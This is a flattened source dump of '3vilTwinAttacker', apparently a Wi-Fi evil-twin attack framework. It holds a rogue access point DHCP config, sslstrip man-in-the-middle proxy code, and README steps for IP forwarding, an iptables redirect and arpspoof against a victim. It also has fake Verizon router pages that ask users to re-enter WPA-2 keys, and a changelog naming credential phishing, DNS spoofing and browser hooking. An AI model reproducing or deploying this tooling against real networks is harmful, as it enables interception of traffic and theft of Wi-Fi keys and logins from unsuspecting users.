├── Logs └── __init__.py ├── Core ├── __init__.py ├── check.py ├── Privilege.py ├── about.py ├── theme1.qss └── Settings.py ├── Plugins ├── __init__.py └── sslstrip │ ├── __init__.py │ ├── DnsCache.py │ ├── README.md │ ├── StrippingProxy.py │ ├── ServerConnectionFactory.py │ ├── URLMonitor.py │ ├── CookieCleaner.py │ ├── SSLServerConnection.py │ ├── ServerConnection.py │ └── ClientRequest.py ├── Modules ├── __init__.py ├── Phishing │ ├── Gmail │ │ ├── log.txt │ │ ├── logo_2x.png │ │ ├── avatar_2x.png │ │ ├── logo_strip_2x.png │ │ └── login.php │ ├── Route │ │ ├── log.txt │ │ ├── vlogo_blk.gif │ │ ├── Untitled-2.png │ │ ├── gradientstrip.gif │ │ ├── save.php │ │ ├── verizon.css │ │ ├── update.html │ │ ├── error.html │ │ └── index.html │ ├── Facebook │ │ ├── log.txt │ │ └── login.php │ └── Custom │ │ └── index.html ├── Templates │ └── __init__.py ├── ModuleMacchanger.py ├── ModuleProbeRequest.py ├── ModuleStarvation.py ├── Credentials.py ├── ModuleUpdateFake.py ├── ModuleTemplates.py ├── ModuleDeauth.py ├── utils.py └── ModuleArpPosion.py ├── requirements.txt ├── rsc ├── arp.png ├── dns.png ├── mac.png ├── ssl.png ├── Save.png ├── Stop.png ├── about.png ├── adobe.png ├── arp_.png ├── check.png ├── close.png ├── deauth.png ├── delete.png ├── dhcp.png ├── export.png ├── icon.ico ├── logger.png ├── logo.png ├── online.png ├── open.png ├── page.png ├── probe.png ├── report.png ├── scan.png ├── server.png ├── start.png ├── undock.png ├── update.png ├── wifi.png ├── winUp.png ├── capture.png ├── checkbox.png ├── computer.png ├── database.png ├── ettercap.png ├── loading2.gif ├── network.png ├── password.png ├── refresh.png ├── setting.png ├── settings.png ├── sizegrip.png ├── up_arrow.png ├── branch_open.png ├── close-hover.png ├── dns_spoof.png ├── down_arrow.png ├── left_arrow.png ├── network_off.png ├── right_arrow.png ├── transparent.png ├── Hmovetoolbar.png ├── Hsepartoolbar.png ├── Vmovetoolbar.png ├── Vsepartoolbar.png ├── branch_closed.png ├── close-pressed.png ├── branch_closed-on.png ├── branch_open-on.png ├── stylesheet-vline.png ├── down_arrow_theme2.png ├── up_arrow_disabled.png ├── down_arrow_disabled.png ├── left_arrow_disabled.png ├── right_arrow_disabled.png ├── stylesheet-branch-end.png ├── checkbox_indeterminate.png └── stylesheet-branch-more.png ├── Settings ├── source.tar.gz ├── dnsmasq.conf └── Settings.xml ├── update.sh ├── .travis.yml ├── CHANGELOG ├── .gitignore ├── LICENSE ├── 3vilTwin-Attacker.py ├── README.md └── installer.sh /Logs/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Core/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Plugins/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Modules/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Plugins/sslstrip/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Modules/Phishing/Gmail/log.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Modules/Phishing/Route/log.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Modules/Templates/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Modules/Phishing/Facebook/log.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | Twisted 2 | scapy 3 | BeautifulSoup 4 | python-nmap -------------------------------------------------------------------------------- /rsc/arp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/arp.png -------------------------------------------------------------------------------- /rsc/dns.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/dns.png -------------------------------------------------------------------------------- /rsc/mac.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/mac.png -------------------------------------------------------------------------------- /rsc/ssl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/ssl.png -------------------------------------------------------------------------------- /rsc/Save.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/Save.png -------------------------------------------------------------------------------- /rsc/Stop.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/Stop.png -------------------------------------------------------------------------------- /rsc/about.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/about.png -------------------------------------------------------------------------------- /rsc/adobe.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/adobe.png -------------------------------------------------------------------------------- /rsc/arp_.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/arp_.png -------------------------------------------------------------------------------- /rsc/check.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/check.png -------------------------------------------------------------------------------- /rsc/close.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/close.png -------------------------------------------------------------------------------- /rsc/deauth.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/deauth.png -------------------------------------------------------------------------------- /rsc/delete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/delete.png -------------------------------------------------------------------------------- /rsc/dhcp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/dhcp.png -------------------------------------------------------------------------------- /rsc/export.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/export.png -------------------------------------------------------------------------------- /rsc/icon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/icon.ico -------------------------------------------------------------------------------- /rsc/logger.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/logger.png -------------------------------------------------------------------------------- /rsc/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/logo.png -------------------------------------------------------------------------------- /rsc/online.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/online.png -------------------------------------------------------------------------------- /rsc/open.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/open.png -------------------------------------------------------------------------------- /rsc/page.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/page.png -------------------------------------------------------------------------------- /rsc/probe.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/probe.png -------------------------------------------------------------------------------- /rsc/report.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/report.png -------------------------------------------------------------------------------- /rsc/scan.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/scan.png -------------------------------------------------------------------------------- /rsc/server.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/server.png -------------------------------------------------------------------------------- /rsc/start.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/start.png -------------------------------------------------------------------------------- /rsc/undock.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/undock.png -------------------------------------------------------------------------------- /rsc/update.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/update.png -------------------------------------------------------------------------------- /rsc/wifi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/wifi.png -------------------------------------------------------------------------------- /rsc/winUp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/winUp.png -------------------------------------------------------------------------------- /rsc/capture.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/capture.png -------------------------------------------------------------------------------- /rsc/checkbox.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/checkbox.png -------------------------------------------------------------------------------- /rsc/computer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/computer.png -------------------------------------------------------------------------------- /rsc/database.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/database.png -------------------------------------------------------------------------------- /rsc/ettercap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/ettercap.png -------------------------------------------------------------------------------- /rsc/loading2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/loading2.gif -------------------------------------------------------------------------------- /rsc/network.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/network.png -------------------------------------------------------------------------------- /rsc/password.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/password.png -------------------------------------------------------------------------------- /rsc/refresh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/refresh.png -------------------------------------------------------------------------------- /rsc/setting.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/setting.png -------------------------------------------------------------------------------- /rsc/settings.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/settings.png -------------------------------------------------------------------------------- /rsc/sizegrip.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/sizegrip.png -------------------------------------------------------------------------------- /rsc/up_arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/up_arrow.png -------------------------------------------------------------------------------- /rsc/branch_open.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/branch_open.png -------------------------------------------------------------------------------- /rsc/close-hover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/close-hover.png -------------------------------------------------------------------------------- /rsc/dns_spoof.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/dns_spoof.png -------------------------------------------------------------------------------- /rsc/down_arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/down_arrow.png -------------------------------------------------------------------------------- /rsc/left_arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/left_arrow.png -------------------------------------------------------------------------------- /rsc/network_off.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/network_off.png -------------------------------------------------------------------------------- /rsc/right_arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/right_arrow.png -------------------------------------------------------------------------------- /rsc/transparent.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/transparent.png -------------------------------------------------------------------------------- /rsc/Hmovetoolbar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/Hmovetoolbar.png -------------------------------------------------------------------------------- /rsc/Hsepartoolbar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/Hsepartoolbar.png -------------------------------------------------------------------------------- /rsc/Vmovetoolbar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/Vmovetoolbar.png -------------------------------------------------------------------------------- /rsc/Vsepartoolbar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/Vsepartoolbar.png -------------------------------------------------------------------------------- /rsc/branch_closed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/branch_closed.png -------------------------------------------------------------------------------- /rsc/close-pressed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/close-pressed.png -------------------------------------------------------------------------------- /Settings/source.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/Settings/source.tar.gz -------------------------------------------------------------------------------- /rsc/branch_closed-on.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/branch_closed-on.png -------------------------------------------------------------------------------- /rsc/branch_open-on.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/branch_open-on.png -------------------------------------------------------------------------------- /rsc/stylesheet-vline.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/stylesheet-vline.png -------------------------------------------------------------------------------- /rsc/down_arrow_theme2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/down_arrow_theme2.png -------------------------------------------------------------------------------- /rsc/up_arrow_disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/up_arrow_disabled.png -------------------------------------------------------------------------------- /Settings/dnsmasq.conf: -------------------------------------------------------------------------------- 1 | interface=at0 2 | dhcp-range=10.0.0.10,10.0.0.50,12h 3 | server=8.8.8.8 4 | server=8.8.4.4 5 | -------------------------------------------------------------------------------- /rsc/down_arrow_disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/down_arrow_disabled.png -------------------------------------------------------------------------------- /rsc/left_arrow_disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/left_arrow_disabled.png -------------------------------------------------------------------------------- /rsc/right_arrow_disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/right_arrow_disabled.png -------------------------------------------------------------------------------- /rsc/stylesheet-branch-end.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/stylesheet-branch-end.png -------------------------------------------------------------------------------- /rsc/checkbox_indeterminate.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/checkbox_indeterminate.png -------------------------------------------------------------------------------- /rsc/stylesheet-branch-more.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/stylesheet-branch-more.png -------------------------------------------------------------------------------- /Modules/Phishing/Gmail/logo_2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/Modules/Phishing/Gmail/logo_2x.png -------------------------------------------------------------------------------- /Modules/Phishing/Gmail/avatar_2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/Modules/Phishing/Gmail/avatar_2x.png -------------------------------------------------------------------------------- /Modules/Phishing/Route/vlogo_blk.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/Modules/Phishing/Route/vlogo_blk.gif -------------------------------------------------------------------------------- /Modules/Phishing/Route/Untitled-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/Modules/Phishing/Route/Untitled-2.png -------------------------------------------------------------------------------- /Modules/Phishing/Gmail/logo_strip_2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/Modules/Phishing/Gmail/logo_strip_2x.png -------------------------------------------------------------------------------- /Modules/Phishing/Route/gradientstrip.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/Modules/Phishing/Route/gradientstrip.gif -------------------------------------------------------------------------------- /update.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if [ "$(id -u)" != "0" ]; then 3 | echo "Please run as root" 1>&2 4 | exit 1 5 | fi 6 | echo '[!] Updating 3viltwinAttacker' 7 | git pull -------------------------------------------------------------------------------- /Modules/Phishing/Gmail/login.php: -------------------------------------------------------------------------------- 1 | 12 | -------------------------------------------------------------------------------- /Modules/Phishing/Facebook/login.php: -------------------------------------------------------------------------------- 1 | 12 | -------------------------------------------------------------------------------- /Modules/Phishing/Custom/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 3vilTwinAttacker Phishing 4 | 5 | 6 | 7 |

3vilTwinAttacker Framework

8 | 9 |

this is demo Attack Redirect.

10 | 11 | 12 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: python 2 | python: 3 | - "2.7" 4 | sudo: required 5 | before_install: 6 | - sudo apt-get update -qq 7 | - sudo apt-get -y install python-qt4 python-scapy python-nmap 8 | 9 | install: 10 | - pip install -r requirements.txt 11 | script: nosetests 12 | -------------------------------------------------------------------------------- /Modules/Phishing/Route/save.php: -------------------------------------------------------------------------------- 1 | 26 | -------------------------------------------------------------------------------- /Core/check.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | from os import path,popen 3 | GREEN = '\033[32m' 4 | YELLOW = '\033[33m' 5 | RED = '\033[91m' 6 | ENDC = '\033[0m' 7 | def check_dependencies(): 8 | ettercap = popen('which ettercap').read().split("\n") 9 | dhcpd = popen('which dhcpd').read().split("\n") 10 | lista = [dhcpd[0],'/usr/sbin/airbase-ng', 11 | ettercap[0]] 12 | m = [] 13 | for i in lista: 14 | m.append(path.isfile(i)) 15 | for k,g in enumerate(m): 16 | if m[k] == False: 17 | if k == 0: 18 | print '[%s✘%s] isc-dhcp-server not %sinstalled%s.'%(RED,ENDC,YELLOW,ENDC) -------------------------------------------------------------------------------- /Plugins/sslstrip/DnsCache.py: -------------------------------------------------------------------------------- 1 | 2 | class DnsCache: 3 | 4 | ''' 5 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. 6 | ''' 7 | 8 | _instance = None 9 | 10 | def __init__(self): 11 | self.cache = {} 12 | 13 | def cacheResolution(self, host, address): 14 | self.cache[host] = address 15 | 16 | def getCachedAddress(self, host): 17 | if host in self.cache: 18 | return self.cache[host] 19 | 20 | return None 21 | 22 | def getInstance(): 23 | if DnsCache._instance == None: 24 | DnsCache._instance = DnsCache() 25 | 26 | return DnsCache._instance 27 | 28 | getInstance = staticmethod(getInstance) 29 | -------------------------------------------------------------------------------- /CHANGELOG: -------------------------------------------------------------------------------- 1 | Version 0.6.4 2 | ------------- 3 | - added support kali 2.0 4 | - added iptables Settings 5 | - change design main 6 | - fixed some bug with AP internet share 7 | - fixed dhcp install 8 | 9 | Version 0.6.3 10 | ----------- 11 | - Netcreds Plugin 12 | - New DHCP (dnsmasq) 13 | - New module DNS spoof 14 | - Beef API Hook on Phishing 15 | - export html report attack 16 | - Advanced Settings 17 | - sslstrip on default 18 | - Credentials Monitor 19 | - Credentials Phising 20 | 21 | Version 0.5.9 22 | ----------- 23 | - Added thread fast scan 24 | - Fixed same bugs 25 | - added theme 2 26 | - added airodump scan network 27 | - fixed error kali 1.1.0 28 | - added Function DNS Spoof with ettercap 29 | - added funcion Settings AP 30 | - added thread and remove xterm window 31 | -------------------------------------------------------------------------------- /Modules/Phishing/Route/verizon.css: -------------------------------------------------------------------------------- 1 | body 2 | { 3 | background-color:#D32000; 4 | background-image:url('gradientstrip.gif'); 5 | background-repeat:repeat-x; 6 | } 7 | 8 | div#base { 9 | position:relative; 10 | top:40px; 11 | margin:0 auto; 12 | width:75%; 13 | height:400px; 14 | } 15 | 16 | div#logo { 17 | position:relative; 18 | margin:0 auto; 19 | top:auto; 20 | width:90%; 21 | height:auto; 22 | } 23 | 24 | div#box { 25 | position:relative; 26 | margin:0 auto; 27 | top:60px; 28 | width:90%; 29 | height:530px; 30 | border:10px solid #ccf; 31 | border-top-right-radius:15px; 32 | border-top-left-radius:15px; 33 | border-bottom-right-radius:15px; 34 | border-bottom-left-radius:15px; 35 | border-style:groove; 36 | background: #eff; 37 | } 38 | 39 | p { 40 | font-family:Arial Black; 41 | } 42 | 43 | p#normal { 44 | font-family:Arial; 45 | } 46 | 47 | form#form1 { 48 | position:relative; 49 | left:80px; 50 | } 51 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *.pyc 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | *.egg-info/ 23 | .installed.cfg 24 | *.egg 25 | 26 | # PyInstaller 27 | # Usually these files are written by a python script from a template 28 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 29 | *.manifest 30 | *.spec 31 | 32 | # Installer logs 33 | pip-log.txt 34 | pip-delete-this-directory.txt 35 | 36 | # Unit test / coverage reports 37 | htmlcov/ 38 | .tox/ 39 | .coverage 40 | .coverage.* 41 | .cache 42 | nosetests.xml 43 | coverage.xml 44 | *,cover 45 | 46 | # Translations 47 | *.mo 48 | *.pot 49 | 50 | # Django stuff: 51 | *.log 52 | 53 | # Sphinx documentation 54 | docs/_build/ 55 | 56 | # PyBuilder 57 | target/ -------------------------------------------------------------------------------- /Modules/Phishing/Route/update.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Verizon Support 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 16 | 17 |
18 |

Wireless Network: deathcorps

19 | 20 | 21 |

            22 | Thank you, your settings have been saved!

23 | 24 |

            25 | Now you can access the internet freely.

26 | 27 |
28 | 29 |
30 | 31 | 32 | 33 | -------------------------------------------------------------------------------- /Settings/Settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015-2016 P0cL4bs Team 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Modules/Phishing/Route/error.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Verizon Support 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 16 | 17 |
18 |

Wireless Network: deathcorps

19 | 20 | 21 |

            22 | Error: Your WPA-2 keys do not match!

23 | 24 |

            25 | Please enter the keys again.

26 | 27 |

            Click here to go back...

28 | 29 |
30 | 31 |
32 | 33 | 34 | 35 | -------------------------------------------------------------------------------- /Plugins/sslstrip/README.md: -------------------------------------------------------------------------------- 1 | sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping 2 | attacks. 3 | 4 | It requires Python 2.5 or newer, along with the 'twisted' python module. 5 | 6 | Installing: 7 | * Unpack: tar zxvf sslstrip-0.5.tar.gz 8 | * Install twisted: sudo apt-get install python-twisted-web 9 | * (Optionally) run 'python setup.py install' as root to install, 10 | or you can just run it out of the directory. 11 | 12 | Running: 13 | sslstrip can be run from the source base without installation. 14 | Just run 'python sslstrip.py -h' as a non-root user to get the 15 | command-line options. 16 | 17 | The four steps to getting this working (assuming you're running Linux) 18 | are: 19 | 20 | 1) Flip your machine into forwarding mode (as root): 21 | echo "1" > /proc/sys/net/ipv4/ip_forward 22 | 23 | 2) Setup iptables to intercept HTTP requests (as root): 24 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 25 | 26 | 3) Run sslstrip with the command-line options you'd like (see above). 27 | 28 | 4) Run arpspoof to redirect traffic to your machine (as root): 29 | arpspoof -i -t 30 | 31 | More Info: 32 | http://www.thoughtcrime.org/software/sslstrip/ 33 | -------------------------------------------------------------------------------- /Plugins/sslstrip/StrippingProxy.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | from twisted.web.http import HTTPChannel 20 | from ClientRequest import ClientRequest 21 | 22 | class StrippingProxy(HTTPChannel): 23 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things. 24 | This is the basic proxy server class, where we get callbacks for GET and POST methods. 25 | We then proxy these out using HTTP or HTTPS depending on what information we have about 26 | the (connection, client_address) tuple in our cache. 27 | ''' 28 | 29 | requestFactory = ClientRequest 30 | -------------------------------------------------------------------------------- /Plugins/sslstrip/ServerConnectionFactory.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | from twisted.internet.protocol import ClientFactory 21 | 22 | class ServerConnectionFactory(ClientFactory): 23 | 24 | def __init__(self, command, uri, postData, headers, client): 25 | self.command = command 26 | self.uri = uri 27 | self.postData = postData 28 | self.headers = headers 29 | self.client = client 30 | 31 | def buildProtocol(self, addr): 32 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) 33 | 34 | def clientConnectionFailed(self, connector, reason): 35 | logging.debug("Server connection failed.") 36 | 37 | destination = connector.getDestination() 38 | 39 | if (destination.port != 443): 40 | logging.debug("Retrying via SSL") 41 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) 42 | else: 43 | self.client.finish() 44 | 45 | -------------------------------------------------------------------------------- /3vilTwin-Attacker.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2.7 2 | #The MIT License (MIT) 3 | #Copyright (c) 2015-2016 mh4x0f P0cL4bs Team 4 | #Permission is hereby granted, free of charge, to any person obtaining a copy of 5 | #this software and associated documentation files (the "Software"), to deal in 6 | #the Software without restriction, including without limitation the rights to 7 | #use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 8 | #the Software, and to permit persons to whom the Software is furnished to do so, 9 | #subject to the following conditions: 10 | #The above copyright notice and this permission notice shall be included in all 11 | #copies or substantial portions of the Software. 12 | 